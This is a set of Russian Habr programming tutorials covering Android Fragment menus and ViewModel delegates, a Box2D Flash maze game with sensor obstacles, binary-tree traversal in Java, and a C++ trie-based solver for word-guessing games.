2. `MenuHost.addMenuProvider(MenuProvider, LifecycleOwner)` — MenuProvider удалится в состоянии DESTROYED.
3. `MenuHost.addMenuProvider(MenuProvider, LifecycleOwner, Lifecycle.State)` — MenuProvider добавляется в указанном состоянии ЖЦ и удаляется при выходе из этого состояния либо при достижении DESTROYED.
```
class ExampleFragment : Fragment(R.layout.fragment_example) {
private val menuHost: MenuHost get() = requireActivity()
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
menuHost.addMenuProvider(object : MenuProvider { // Добавляем MenuProvider
override fun onPrepareMenu(menu: Menu) // Вызывается перед отрисовкой меню
override fun onCreateMenu(menu: Menu, menuInflater: MenuInflater) {
// Надуваем fragment_menu и мержим с прошлым menu
menuInflater.inflate(R.menu.fragment_menu, menu)
}
override fun onMenuItemSelected(menuItem: MenuItem): Boolean {
// Пользователь кликнул на элемент меню
// return true — не нужно передавать нажатие другому провайдеру
// return false — передаем нажатие следующему провайдеру
return false
}
override fun onMenuClosed(menu: Menu) // Меню закрыто
}, viewLifecycleOwner)
}
}
```
### Несказанное про Fragment-ktx
Фрагмент — это только ui-слой, всю логику мы должны прятать во ViewModel или куда-нибудь за нее в зависимости от архитектуры. Для быстрого создания и работы со ViewModel нам приготовили пару ленивых расширений-делегатов.
Доступ ко ViewModel родительской Activity, которую можно использовать для шаринга данных между несколькими фрагментами:
```
inline fun Fragment.activityViewModels(
noinline extrasProducer: (() -> CreationExtras)? = null,
noinline factoryProducer: (() -> ViewModelProvider.Factory)? = null
): Lazy
// Example
class ExampleFragment : Fragment() {
private val viewModel: ExampleViewModel by activityViewModels()
}
```
Доступ ко ViewModel фрагмента:
```
inline fun Fragment.viewModels(
noinline ownerProducer: () -> ViewModelStoreOwner = { this },
noinline extrasProducer: (() -> CreationExtras)? = null,
noinline factoryProducer: (() -> ViewModelProvider.Factory)? = null
): Lazy
// Example
class ExampleFragment : Fragment() {
private val viewModel: ExampleViewModel by viewModels()
}
```
### Заключение
Вот и подошла к концу моя серия статей. Я собрал самые интересные и неочевидные особенности Fragment API, о которых, возможно, не все знали.
Простые и очевидные моменты подробно описаны в документации. А более сложные темы, к примеру backstack, в документации, как правило, описаны поверхностно.
Когда я собирал материал, хотел помочь сделать код чище и показать, как можно:
— избавиться от бойлерплейта;
— обеспечить общение между фрагментами без создания костылей;
— получить больший контроль над жизненным циклом фрагментов;
— покорить backstack.
Чтобы выявить все правила и особенности успешной работы с возможностями, о которых я рассказал, мне пришлось залезть далеко в глубины Fragment API.
Надеюсь, вам было интересно :) До скорых встреч и удачного кодинга! | https://habr.com/ru/post/693794/ | null | ru | null |
# Создание очередной казуалки на Flash-платформе с физикой. Часть II
Привет хабра-сообществу.
~~Относительно недавно~~ достаточно давно [писал статью](http://habrahabr.ru/blogs/gdev/121193/) про создание очередной казуалки на Flash-платформе с физикой, обещал вторую статью, встречайте.
В этой статье — научу рисовать мир и расскажу о сенсорах. Остальное под катом.
Что можно сделать из этих двух уроков, можно посмотреть [тут](http://forhaxed.ru/gearmaze.php) *(музыку отключить нельзя, но можно убрать звук в системе)*.
Еще раз вспомним, что было в прошлом "[уроке](http://habrahabr.ru/blogs/gdev/121193/)".
#### Графика
Теперь нужно ~~украсть~~ нарисовать будущую графику в игре, но т.к. этот урок прежде всего про программирование игр, можете воспользоваться тем, что сделал я:
**Текстура 1:**
**Текстура 2:**
Вот две BMP текстуры, 474x474 пикселей.
Служить они будут основой для нашего мира.
**Текстура 2** — это статическая текстура, она будет представлена в виде Sprite и будет всегда отрисовываться с нужным нам углом поворота.
**Текстура 1** — это текстура для рисования мира, ей мы будем заливать прямоугольники нашего мира с помощью beginBitmapFill и translate-матрицы. Иначе говоря, то что не залито, то свобода передвижения и пустое пространство.
Чуть красиво оформив в соответствии с нужным нам сеттингом, получим что-то вроде:
Даем оболочку-картинку (спрайт) нашему шарику-герою, тут тоже предлагаю взять мою графику:
И чтобы уж совсем скучно не было проходить скучнейшие лабиринты, сделаем препятствия: шипы, огонь, лазеры. Но т.к. объем статьи должен быть адекватным, рассмотрим только шипы, но создадим базу для всего остального.
Текстура шипа:
Создаем необходимые линковки и наша библиотека выглядит так:
Графика готова.
#### Сенсоры
**Сенсоры** — это обычные объекты (Static Body, Dynamic Body), за исключением того, что у них стоит флаг isSensor. Что делает этот флажок? Все очень просто, такой объект «чувствует» столкновение, однако, для объекта без флага isSensor — ничего не произойдет. Твердый объект — просто пройдет сквозь сенсор, вызвав событие коллизии в ContactListener.
**ContactListener** — «слушатель» столкновений в Box2D. Например, сталкивается объект A и B в мире, в ContactListener вызывается функция Add(point:b2ContactPoint), point содержит в себе: шейпы, которые участвуют в столкновении; точку столкновения в глобальной системе координат; столкнувшейся тела. Другими словами, эти события можно обработать.
*— Сенсоры, слушатели, ничего не понятно, зачем это?*
Затем, что при столкновении нашего героя с шипом — логично вызвать смерть героя и перезапуск уровня.
#### От теории к делу, приступаем к программированию
##### Учимся рисовать в мире
Меняем размер проекта с 500x500 на 600x580.
Меняем позицию отрисовки дебаг-спрайта, на:
```
sprite.x = 300; // половина 600
sprite.y = 290; // половина 580
```
Все по честному, все по центру.
Добавляем новые переменные:
```
public var game:Sprite; // контейнер-спрайт для мира
public var level_sprite:Sprite = new Sprite(); // Процедурно-cгенерированная текстура мира
public var viewport:Sprite; // контейнер-спрайт для мира (героя, шипов)
```
В конструкторе главного класса инициализируем game и viewport:
```
game = new sprite_game();
game.x = 300; // центрируем
game.y = 290; // центрируем
game.cacheAsBitmap = true;
addChild(game);
viewport = new Sprite();
viewport.x = 300;
viewport.y = 290;
addChild(viewport);
```
У Flash есть специальная опция «cache as bitmap», которую можно устанавливать для отдельных клипов — это обозначает, что клип где-то в памяти сохраняется в виде растровой картинки и более не пересчитывается как векторное изображение. Мои эксперименты показали, что это дает прирост производительности, но для полного счастья его явно не достаточно.
Добавляем вращение «шестерни» в enterFrameListener, там же, где вращаем sprite:
```
game.rotation = sprite.rotation = rotator;
```
Запускаем, видим уже что-то более менее радующее глаз, нежели просто вращающаяся зеленая ~~херня~~ картинка.
Даем шарику спрайт. Ищем функцию *createHero* и добавляем где-нибудь в конце:
```
var sprite:Sprite = new sprites_hero();
sprite.width = sprite.height = 16;
viewport.addChild(sprite);
hero.SetSprite(sprite); // о том, что такое SetSprite я расскажу позже.
// задаем позицию спрайта такую же, как и у математики движка, умноженного на 30 (коф. преобразования)
hero.GetSprite().x = hero.GetPosition().x * 30;
hero.GetSprite().y = hero.GetPosition().y * 30;
// вращение
hero.GetSprite().rotation = hero.GetAngle() * 180 / Math.PI;
```
*body.SetSprite* — отсутствует в оригинальном box2D. Иначе говоря, это аналог GetUserData. Но GetUserData у нас используется для типа объекта («hero», «box»), поэтому я добавил в движок и SetSprite. Если пишите на оригинальном Box2D — не расстраивайтесь, используйте динамические объекты, например: body.SetUserData({type: «hero», sprite: sprite});
Синхронизируем позицию экранного объекта с математическими расчетами каждый кадр, идем в функцию enterFrameListener, а конкретно в момент, где мы обновляем гравитацию герою, добавляем:
```
body.GetSprite().x = body.GetPosition().x * 30;
body.GetSprite().y = body.GetPosition().y * 30;
body.GetSprite().rotation = body.GetAngle() * 180 / Math.PI;
```
Убавляем Alpha у спрайта-дебага, чтобы могли различать то, что происходит:
```
dbgDraw.m_alpha = 0.5;
dbgDraw.m_fillAlpha = 0.1;
```
Запускаем, крутим, видим, что все работает:
Остается теперь избавиться от DebugDraw, чтобы полностью перейти на нашу графику, но мешает это нам сделать, что стены у нас не рисуются, исправим это.
Создаем переменные для translate-матрицы и текстуры:
```
public var matrix_texture:Matrix;
public var textureal:BitmapData;
```
Инициализируем их в конструкторе:
```
textureal = new texture_gear();
matrix_texture = new Matrix();
matrix_texture.translate(237, 237);
// заодно добавим наш level_sprite
viewport.addChild(level_sprite);
```
Идем в функцию CreateStaticRect и добавляем что-то вроде:
```
level_sprite.graphics.beginBitmapFill(textureal, matrix_texture);
level_sprite.graphics.drawRect(x - 150, y - 150, w, h);
level_sprite.graphics.endFill();
```
И для наглядности добавим еще один StaticRect (в конструкторе):
```
CreateStaticRect(150, 140, 30, 30);
```
На время отключаем DebugDraw комментированием строчки:
```
// world.SetDebugDraw(dbgDraw);
```
Компилируем, любуемся прорисованными стенами:
Мы научились рисовать наш мир, создадим препятствия.
Создаем абстрактный класс, от него наши препятствия будут наследоваться, листинг **Obstacle**:
```
package
{
import Box2D.Dynamics.b2World;
import flash.display.Sprite;
/**
* ...
* @author forhaxed
*/
public class Obstacle extends Sprite
{
public var active:Boolean = true; // активна ли в текущей момент
public var angle:int = 0; // угол поворота
public var viewport:Sprite; // ссылка на viewport
public var world:b2World; // ссылка на мир
// 0 - LEFT, 1 - UP, 2 - RIGHT - 3 - DOWN
public function Obstacle(_viewport:Sprite, _world:b2World, x:Number, y:Number, angle:int = 0)
{
viewport = _viewport;
world = _world;
}
}
}
```
И создаем дите этого класса, **Spike** (собственно наш шип), листинг:
```
package
{
import Box2D.Collision.Shapes.b2CircleDef;
import Box2D.Dynamics.b2Body;
import Box2D.Dynamics.b2BodyDef;
import Box2D.Dynamics.b2World;
import flash.display.Sprite;
/**
* ...
* @author forhaxed
*/
public class Spike extends Obstacle
{
public function Spike(_viewport:Sprite, _world:b2World, x:Number, y:Number, angle:int = 0)
{
super(_viewport, _world, x, y, angle); // конструктор родителя
switch(angle) // вращаем как нам надо
{
case 0: this.rotation = 90; break;
case 1: this.rotation = 180; break;
case 2: this.rotation = 270; break;
case 3: this.rotation = 0; break;
}
var body:b2Body;
var bodyDef:b2BodyDef;
var circleDef:b2CircleDef;
var sprite:Sprite;
this.x = x;
this.y = y;
viewport.addChild(this);
/* OBSTACLE */
x = x / 30;
y = y / 30;
var r:Number = 6 / 30;
bodyDef = new b2BodyDef();
bodyDef.position.Set(x, y);
circleDef = new b2CircleDef();
circleDef.radius = r;
circleDef.density = 1;
circleDef.friction = 1;
circleDef.isSensor = true; // устанавливаем isSensor в true, чтобы этот объект только следил за миром
circleDef.restitution = 0.2;
body = world.CreateBody(bodyDef);
body.SetUserData("spike"); // тип ставим как spike
body.SetSprite(this); // ставим спрайт
body.CreateShape(circleDef);
body.SetMassFromShapes();
addChild(new saw());
}
}
}
```
Добавим три шипа в наш мир, идем в конструктор главного класса и пишем:
```
new Spike(viewport, world, 37, 5, 0);
new Spike(viewport, world, 15, 27, 1);
new Spike(viewport, world, 15, -17, 3);
```
Компилируем, любуемся шипами, но они пока не опасны, так сделаем их опасными.
Создаем новый класс **GearMazeContact**, который унаследован от **b2ContactListener**, мы будем переопределять его методы (да-да, в AS3 очень актуальны **override**). Листинг:
```
package
{
import Box2D.Dynamics.*;
import Box2D.Collision.*;
import Box2D.Collision.Shapes.*;
import Box2D.Dynamics.Joints.*;
import Box2D.Dynamics.Contacts.*;
import Box2D.Common.*;
import Box2D.Common.Math.*;
import flash.display.MovieClip;
public class GearMazeContact extends b2ContactListener
{
public override function Add(point:b2ContactPoint):void
{
var p1:b2Body = point.shape1.GetBody();
var p2:b2Body = point.shape2.GetBody();
if(p1.GetUserData()=="hero" && p2.GetUserData()=="spike")
{
if ((p2.GetSprite() as Obstacle).active)
{
trace("Ha-ha!");
p1.SetUserData("hero_dead"); // меняем тип объекта на hero_dead, для его удаления
/* Внимание, в процессинге просчета физики ничего с объектами не сделать, мир заблокирован от нас, поэтому мы просто удалим его, когда мир разблокируется */
}
}
}
}
}
```
Подключаем наш слушатель к миру, там же, где создаем мир и задаем DebugDraw:
```
var GearListener:GearMazeContact = new GearMazeContact();
world.SetContactListener(GearListener);
```
И добавим функционал, который удалит наш шар в случае со смертью, в переборе массива с телами (enterFrameListener):
```
if (body.GetUserData() == "hero_dead")
{
if (body.GetSprite() is Sprite) viewport.removeChild(body.GetSprite());
world.DestroyBody(body);
}
```
Тут можно дальше пилить геймплей и делать всякие-плюшки: лазеры, порталы, пилы, ~~девушек~~.
Если вы хотите сделать из этого игрушку, то можно сделать простой алгоритм процедурной генерации лабиринтов с Obstacle.
По традиции прикладываю весь код по статье, ссылку на демо и готовую игрушку, сделанную по этим шагам.
Кстати, готовой игры не будет, увы :-(
Пока это какая-то альфа с 18-ти уровнями. Рефакторинг кода меня убивает, я творческий человек: творить, творить и еще раз творить. Деньги меня не интересуют :-)
Ссылки: [исходники](http://forhaxed.ru/GearMazeSource.rar) | [демо](http://megaswf.com/serve/1171936) | [готовая игра](http://forhaxed.ru/gearmaze.php)
*P.S. спасибо большое хорошему человеку [datacompboy](http://habrahabr.ru/users/datacompboy/), когда написал первую часть статью — ~~отсыпал~~ подарил мне хостинг с доменом, чтобы демки, игры и исходники вы не качали с фриварных сайтов.
P.S.S. по прежнему вы можете писать мне, по поводу геймдева в as3, с радостью отвечу.* | https://habr.com/ru/post/128157/ | null | ru | null |
# Обход бинарных деревьев: рекурсия, итерации и указатель на родителя
Основы о бинарных деревьях представлены, в том числе, [здесь](http://habrahabr.ru/post/65617/) . Добавлю свои «5 копеек» и данным постом систематизирую материалы, связанные с обходом бинарных деревьев, а именно сравнений возможностей рекурсии и итераций, а также обсуждение возможностей использования указателя на родительский узел.
Итак… язык Java, класс узла имеет следующий вид:
```
public class Node {
Node left;
Node right;
Node parent;
String value;
public Node(Node p, String v){
parent=p;
value=v;
}
…
}
```
**Примечание**: Указатель на родителя parent – как правило не имеет большого смысла, однако, как следует из заголовка и будет показано, может быть полезен в ряде случаев.
**Обход деревьев** – последовательная обработка (просмотр, изменение и т.п.) всех узлов дерева, при котором каждый узел обрабатывается строго один раз. При этом получается линейная расстановка узлов дерева.
В зависимости от траекторий выделяют два типа обхода:
— горизонтальный (в ширину); и
— вертикальный (в глубину).
Горизонтальный обход подразумевает обход дерева по уровням (level-ordered) – вначале обрабатываются все узлы текущего уровня, после чего осуществляется переход на нижний уровень.
[](http://imglink.ru)
При вертикальном обходе порядок обработки текущего узла и узлов его правого и левого поддеревьев варьирует и по этому признаку выделяют три варианта вертикального обхода:
— прямой (префиксный, pre-ordered): вершина – левое поддерево – правое поддерево;
— обратный (инфиксный, in-ordered): левое поддерево – вершина – правое поддерево; и
— концевой (постфиксный, post-ordered): левое поддерево – правое поддерево – вершина.
[](http://imglink.ru)
Сам обход во всех случаях в принципе один и тот же, различается порядок обработки. Для представления в каком порядке будет проходить обработка узлов дерева удобно следовать по «контуру обхода». При прямом обходе узел будет обработан в точке слева от узла, при обратном снизу от узла и при концевом, соответственно, справа от узла.
Другими словами «находясь» в некотором узле, нам нужно знать, нужно ли его обрабатывать и куда двигаться дальше.
#### Рекурсия
Все три варианта вертикального обхода элементарно реализуются рекурсивными функциями.
```
void recPreOrder(){
treatment();
if (left!=null) left.recPreOrder();
if (right!=null) right.recPreOrder();
}
void recInOrder(){
if (left!=null) left.recInOrder();
treatment();
if (right!=null) right.recInOrder();
}
void recPostOrder(){
if (left!=null) left.recPostOrder();
if (right!=null) right.recPostOrder();
treatment();
}
```
Рекурсия крайне удобна не только при обходе, но также при построении дерева, поиска в дереве, а также балансировки. Однако рекурсией нельзя осуществить горизонтальный обход дерева. В этом случае, а так же при обеспокоенности перегрузкой программного стека, следует применять итерационный подход.
#### Контейнеры
В случае использования итераций необходимо хранить сведенья о посещенных, но не обработанных узлах. Используются контейнеры типа стек (для вертикального обхода) и очередь (для горизонтального обхода).
##### Горизонтальный обход:
обрабатываем первый в очереди узел, при наличии дочерних узлов заносим их в конец очереди. Переходим к следующей итерации.
```
static void contLevelOrder(Node top){
Queue queue=new LinkedList<> ();
do{
top.treatment();
if (top.left!=null) queue.add(top.left);
if (top.right!=null) queue.add(top.right);
if (!queue.isEmpty()) top=queue.poll();
}while (!queue.isEmpty());
}
```
##### Вертикальный прямой обход:
обрабатываем текущий узел, при наличии правого поддерева добавляем его в стек для последующей обработки. Переходим к узлу левого поддерева. Если левого узла нет, переходим к верхнему узлу из стека.
```
static void contPreOrder(Node top){
Stack stack = new Stack<> ();
while (top!=null || !stack.empty()){
if (!stack.empty()){
top=stack.pop();
}
while (top!=null){
top.treatment();
if (top.right!=null) stack.push(top.right);
top=top.left;
}
}
}
```
##### Вертикальный обратный обход:
из текущего узла «спускаемся» до самого нижнего левого узла, добавляя в стек все посещенные узлы. Обрабатываем верхний узел из стека. Если в текущем узле имеется правое поддерево, начинаем следующую итерацию с правого узла. Если правого узла нет, пропускаем шаг со спуском и переходим к обработке следующего узла из стека.
```
static void contInOrder(Node top){
Stack stack = new Stack<> ();
while (top!=null || !stack.empty()){
if (!stack.empty()){
top=stack.pop();
top.treatment();
if (top.right!=null) top=top.right;
else top=null;
}
while (top!=null){
stack.push(top);
top=top.left;
}
}
}
```
##### Вертикальный концевой обход:
Здесь ситуация усложняется – в отличие от обратного обхода, помимо порядка спуска нужно знать обработано ли уже правое поддерево. Одним из вариантов решения является внесение в каждый экземпляр узла флага, который бы хранил соответствующую информацию (не рассматривается). Другим подходом является «кодирование» непосредственно в очередности стека — при спуске, если у очередного узла позже нужно будет обработать еще правое поддерево, в стек вносится последовательность «родитель, правый узел, родитель». Таким образом, при обработке узлов из стека мы сможем определить, нужно ли нам обрабатывать правое поддерево.
```
static void contPostOrder(Node top){
Stack stack = new Stack<> ();
while (top!=null || !stack.empty()){
if (!stack.empty()){
top=stack.pop();
if (!stack.empty() && top.right==stack.lastElement()){
top=stack.pop();
}else{
top.treatment();
top=null;
}
}
while (top!=null){
stack.push(top);
if (top.right!=null){
stack.push(top.right);
stack.push(top);
}
top=top.left;
}
}
}
```
#### Об указателе на родителя
Наличие в экземпляре класса указателя на родителя приносит определенные хлопоты при построении и балансировки деревьев. Однако, возможность из произвольного узла дерева «дойти» до любого из его узлов может придтись весьма кстати. Все, за чем нужно следить при «подъеме» на верхний уровень – пришли ли от правого потомка или от левого.
Так, с использованием родительских указателей будет выглядеть код вертикального концевого обхода.
```
static void parentPostOrder(Node top){
boolean fromright=false;
Node shuttle=top, holder;
while(true){
while (fromright){
shuttle.treatment();
if (shuttle==top) return;
holder=shuttle;
shuttle=shuttle.parent;
fromright=shuttle.right==holder;
if (!fromright && shuttle.right!=null) shuttle=shuttle.right;
else fromright=true;
}
while (shuttle.left!=null) shuttle=shuttle.left;
if (shuttle.right!=null) shuttle=shuttle.right;
else fromright=true;
}
}
```
Другой класс задач, которые позволяет решить родительский указатель, как уже было упомянуто — перемещение внутри дерева.
Так, что бы перейти на n-ый по счету узел от текущего узла, без «ориентации в дереве» пришлось бы обходить дерево с самого начала, до известного узла, а потом еще n-узлов. С использованием же родительского указателя при обратном обходе дерева перемещение на steps узлов от текущего узла (start) будет иметь следующий вид.
```
public static Node walkTheTree(Node start, int steps){
boolean fromright=true;
Node shuttle=start, holder;
if (shuttle.right!=null){
shuttle=shuttle.right;
while (shuttle.left!=null) shuttle=shuttle.left;
fromright=false;
}
int counter=0;
do{
while (true){
if (!fromright && ++counter==steps) return shuttle;
if (!fromright && shuttle.right!=null){
shuttle=shuttle.right;
break;
}
holder=shuttle;
shuttle=shuttle.parent;
fromright=(holder==shuttle.right);
}
while (shuttle.left!=null) shuttle=shuttle.left;
}while (true);
}
```
**Примечание**: В общем случае также требуется предотвратить возможность попытки выхода за пределы дерева (подняться выше корневого узла). | https://habr.com/ru/post/144850/ | null | ru | null |
# Поиск решений для игр со словами. Применение бора
#### Вступление
Существует множество игр, где игроку необходимо искать слова из определенного набора букв. Вот две наиболее популярные из них.
1. 4 фото 1 слов (4 Pics 1 Word) [AppStore](https://itunes.apple.com/ru/app/id598949838), [Google Play](https://play.google.com/store/apps/details?id=de.lotum.whatsinthefoto.ru)
У этой игры довольно много реализаций, но идея у всех одна.
2. Словомания (Wordsmania) [AppStore](https://itunes.apple.com/ru/app/id450116479), [Google Play](https://play.google.com/store/apps/details?id=tr.com.fugo.kelimeavi2.ru&hl=ru)
Суть первой игры: даны 4 картинки, длина угадываемого слова и набор букв, выбирать буквы можно в любом порядке.
Суть второй сводится к тому, что на поле 4х4, заполненном буквами, необходимо найти как можно больше слов, из каждой клетки можно передвигаться в следующую по вертикали, горизонтали и диагоналям.
Меня заинтересовала идея по программному решению задач, которые ставят эти игры. Я не ставлю цели сделать игру нечестной, это скорее чисто спортивный интерес к поставленной самому себе задаче. Пик популярности этих игр уже прошёл, поэтому не так страшно, если кто-то немного поиграет нечестно.
#### Постановка задачи
Если рассматривать задачу более формально, то необходимо реализовать перебор возможных комбинаций, исходя из правил игры. Будет реализовано два алгоритма перебора для каждой игры. Далее необходимо проверять наличие этих комбинаций в словаре, для этого нужно реализовать структуру, которая сможет эффективно отвечать на запрос о наличии слова в словаре. Будет использоваться [бор](http://neerc.ifmo.ru/wiki/index.php?title=%D0%91%D0%BE%D1%80).
##### Почему бор
В стандартных библиотеках C++ уже реализованы структуры, которые умеют быстро отвечать на единичные запросы, это map и unordered\_map (hash map). Но реализация задачи с помощью этих структур будет уступать по асимптотике бору, так как в нём будут учитываться особенности поставленной задачи. Перебор значений будет представлять из себя дерево, так как рекурсивно из каждой буквы будет пытаться найти следующую. Бор — тоже дерево, поэтому поиск слов будет проходить в худшем случае за суммарную длину всех найденных слов, плюс то количество итераций, пока алгоритм не дойдёт до несуществующего перехода в словаре, на практике такой переход достигается довольно быстро. Эффективнее алгоритм будет работать, когда есть строка S, содержащая в себе в качестве префикса строку P, принадлежащую словарю, в таком случае поиск будет проходить за длину S, а все остальные P добавятся в ответ по ходу поиска S.
Далее необходимо вывести полученные слова в отсортированном виде.
#### Реализация
Рассмотрим реализацию решения задачи по частям.
##### Включения
Необходимо обеспечить консольный и файловый ввод-вывод, iostream, fstream. Нужны стандартные шаблоны STL: vector — для построения бора, string и set — для хранения результатов и отсечения одинаковых найденных слов, algorithm для сортировки.
**Включения**
```
#include
#include
#include
#include
#include
#include
```
##### Объявления
Для того, чтобы использовать русские символы, без включения локализации, чтобы такой код можно было легко подогнать под другие кодировки, решено использовать простой образец строки для ввода и вывода. Это образец, получаемый при вводе в консоль русского алфавита ConsoleSample и образец, получаемый при чтении из файла FstreamSample.
Далее идёт описание структуры для каждой вершины бора, она будет хранить переходы по каждой букве, либо 0, если перехода нет, также с помощью переменной isLeaf в структуре указывается, что в данной вершине оканчивается какое-либо слово.
Объявляем контейнеры для хранения бора, буфера для результатов и отформатированного вывода.
**Объявления**
```
#define ALPHABET_SIZE 33
const char ConsoleSample[ALPHABET_SIZE] = { -96, -95, -94, -93, -92, -91, -15, -90, -89, -88, -87, -86, -85, -84, -83, -82, -81, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -20, -21, -22, -19, -18, -17 };
const char FstreamSample[ALPHABET_SIZE] = { -32, -31, -30, -29, -28, -27, -72, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, -16, -15, -14, -13, -12, -11, -10, -9, -8, -7, -4, -5, -6, -3, -2, -1 };
typedef struct {
unsigned child[ALPHABET_SIZE];
bool isLeaf;
} node;
node NullNode = {NULL};
vector Trie;
set Res;
vector Output;
```
##### Добавление слов в бор
Функция получает на вход строку, проходится по ней, одновременно продвигается по бору, если из вершины нет перехода, в бор добавляется новая вершина, а в текущую вершину записывается переход на добавленную вершину с помощью индекса. После добавления последнего перехода, значение переменной isLeaf у последней вершины меняется на true, здесь слово заканчивается.
**Добавление слов**
```
void TrieAddWord(string &S) {
unsigned CurrentNode(0);
for (auto i(S.begin()); i != S.end(); ++i) {
if (Trie[CurrentNode].child[*i] == 0) {
Trie.push_back(NullNode);
Trie[CurrentNode].child[*i] = Trie.size() - 1;
CurrentNode = Trie.size() - 1;
}
else {
CurrentNode = Trie[CurrentNode].child[*i];
}
}
Trie[CurrentNode].isLeaf = true;
}
```
##### Загрузка словаря
Для удобства, у всех слов на время обработки запроса номера символов будут сдвинуты, то есть символу 'а' будет соответствовать значение 0, а символу 'я', значение 32. Функция Encode будет производить это с помощью тривиального поиска символа в образце и заменять его. Такая реализация проста, но требует лишнего времени для подгрузки словаря, но это не так важно, словарь подгружается единоразово, а потом уже можно подавать запросы программе многократно.
**Кодирование строки**
```
void EncodeString(string &S, const char Sample[]) {
for (auto i(S.begin()); i != S.end(); ++i) {
for (char j(0); j != ALPHABET_SIZE; ++j) {
if (*i == Sample[j]) {
*i = j;
break;
}
}
}
}
```
Функция загрузки словаря получает имя файла и считывает все слова из него, кодируя строки и далее добавляет их в бор. Функция может загрузить сразу несколько словарей, если запустить её для всех файлов.
**Загрузка словаря**
```
void LoadDictonary(char *Filename) {
ifstream in(Filename);
string Buff;
while (!in.eof()) {
in >> Buff;
EncodeString(Buff, FstreamSample);
TrieAddWord(Buff);
}
in.close();
}
```
##### Сортировка вывода
Для получения в первую очередь самых длинных слов в игре Словомания, необходимо отсортировать строки по длинам в обратном порядке, так как при выводе в консоль, текст пролистывается снизу вверх, поэтому самые длинные слова нужно вывести в конце. В игре чем больше слово, тем, очевидно, за него дают больше очков. Для этого надо написать простейшую функцию-компаратор для передачи её sort из algorithm.
**Компаратор**
```
bool cmp(string A, string B) {
if (A.size() >= B.size()) {
return false;
}
else return true;
}
```
##### Реализация решения для игры «угадай слово»
Так как реализаций и названий этой игры много, то назовем её просто «угадай слово».
Для начала функция обхода по бору. Здесь используется обычный рекурсивный алгоритм DFS, просто из каждой буквы, мы переходим в любую не использованную ранее из заданой строки, одновременно с этим, мы проверяем наличие такого перехода в боре, если переход существует, то продолжаем дальше, если нет, то прекращаем дальнейшее продвижение по данной ветке. Важно заметить, что в игре надо отгадать слово определенной длины, поэтому спускаемся только до глубины, равной длине строки, дальше спускаться смысла нет. Не забываем на каждой итерации проверить переменную isLeaf, если она равна true и длина найденного слова равна указанному значению, то добавляем слово в set Res.
**Обход**
```
void GuessWordBypass(unsigned N, __int8 X, bool Used[], string &S, string W, short &L) {
if (W.size() > L) return;
for (__int8 i(0); i != S.size(); ++i) {
if (i == X) continue;
if (!Used[i]) {
if (Trie[N].child[S[i]] != 0) {
Used[i] = true;
GuessWordBypass(Trie[N].child[S[i]], i, Used, S, W + S[i], L);
Used[i] = false;
}
}
if (Trie[N].isLeaf && W.size() == L) {
Res.insert(W);
}
}
}
```
И далее функция, реализующая начальный запуск обхода из всех букв слова.
**Запуск**
```
void GuessWord(string &S, short &L) {
bool *Used = new bool [S.size()];
memset(Used, 0, S.size());
for (__int8 i(0); i != S.size(); ++i) {
if (Trie[0].child[S[i]] != 0) {
Used[i] = true;
GuessWordBypass(Trie[0].child[S[i]], i, Used, S, S.substr(i, 1), L);
Used[i] = false;
}
}
delete [] Used;
}
```
##### Реализация решения для игры Словомания
В целом сам обход не будет ничем отличаться, но отличия будут в том, что тут можно перемещаться только в соседние клетки, а не в любые, также поиск должен находить слова любой длины. Так как поле размером 4х4 представленно одномерным массивом, то не очевидно как переходить в соседние клетки, рассмотрим как это реализовать.
Если клетка стоит не на границах поля, то с помощью добавления чисел от -5 до 5, исключая из них -2, 0 и 2.
Если же клетка стоит на границе, то необходимо также запретить переходы в другие клетки, выходящие за границу.
**Обход**
```
void WordsmaniaCheatBypass(unsigned N, __int8 X, bool Used[], string &S, string W) {
__int8 TransitDenied[11] = {0};
for (__int8 i(-2); i <= 2; i += 2)
TransitDenied[i + 5] = true;
if (X % 4 == 0)
for (__int8 i(-5); i <= 3; i += 4)
TransitDenied[i + 5] = true;
if (X < 4)
for (__int8 i(-5); i <= -3; ++i)
TransitDenied[i + 5] = true;
if (X % 4 == 3)
for (__int8 i(-3); i <= 5; i += 4)
TransitDenied[i + 5] = true;
if (X >= 12)
for (__int8 i(3); i <= 5; ++i)
TransitDenied[i + 5] = true;
for (__int8 i(-5); i <= 5; ++i) {
if(TransitDenied[i + 5]) continue;
__int8 tmp = X + i;
if (!Used[tmp]) {
if (Trie[N].child[S[tmp]] != 0) {
Used[tmp] = true;
WordsmaniaCheatBypass(Trie[N].child[S[tmp]], tmp, Used, S, W + S[tmp]);
Used[tmp] = false;
}
}
if (Trie[N].isLeaf) {
Res.insert(W);
}
}
}
```
**Запуск**
```
void WordsmaniaCheat(string &S) {
bool Used[16] = {0};
for (__int8 i(0); i != 16; ++i) {
if (Trie[0].child[S[i]] != 0) {
Used[i] = true;
WordsmaniaCheatBypass(Trie[0].child[S[i]], i, Used, S, S.substr(i, 1));
Used[i] = false;
}
}
}
```
##### Функция main
В главной функции инициализируется бор и выполняется главный цикл, в котором обрабатываются запросы. '1' или '2' первым аргументом, в зависимости от того, какой алгоритм использовать, далее параметры для алгоритма. После обработки сортировка и вывод результатов. Для первого алгоритма надо ввести последовательность символов и далее длину слова, для второго только последовательность, она записывается по строчкам поля, то есть для такого поля надо ввести строку «сгщатрлпнжилеыйг» (без кавычек).
**Main**
```
int main() {
Trie.push_back(NullNode);
LoadDictonary("Dictonary.txt");
string Word;
char mode;
while (true) {
cin >> mode;
switch (mode) {
case '1':
short L;
cin >> Word >> L;
EncodeString(Word, ConsoleSample);
GuessWord(Word, L);
break;
case '2':
cin >> Word;
EncodeString(Word, ConsoleSample);
WordsmaniaCheat(Word);
break;
}
cout << "==================" << endl;
for (auto i(Res.begin()); i != Res.end(); ++i) {
Output.push_back(*i);
}
Res.clear();
if(mode == '2') sort(Output.begin(), Output.end(), cmp);
for (auto i(Output.begin()); i != Output.end(); ++i) {
for (auto j((*i).begin()); j != (*i).end(); ++j) {
cout << ConsoleSample[*j];
}
cout << endl;
}
cout << "==================" << endl << endl;
Output.clear();
}
return 0;
}
```
#### Что дальше
Вот полный [код](http://pastebin.com/FGihNErX), он проверен под Windows, для других платформ, возможно, придётся заменить образцы ввода и вывода.
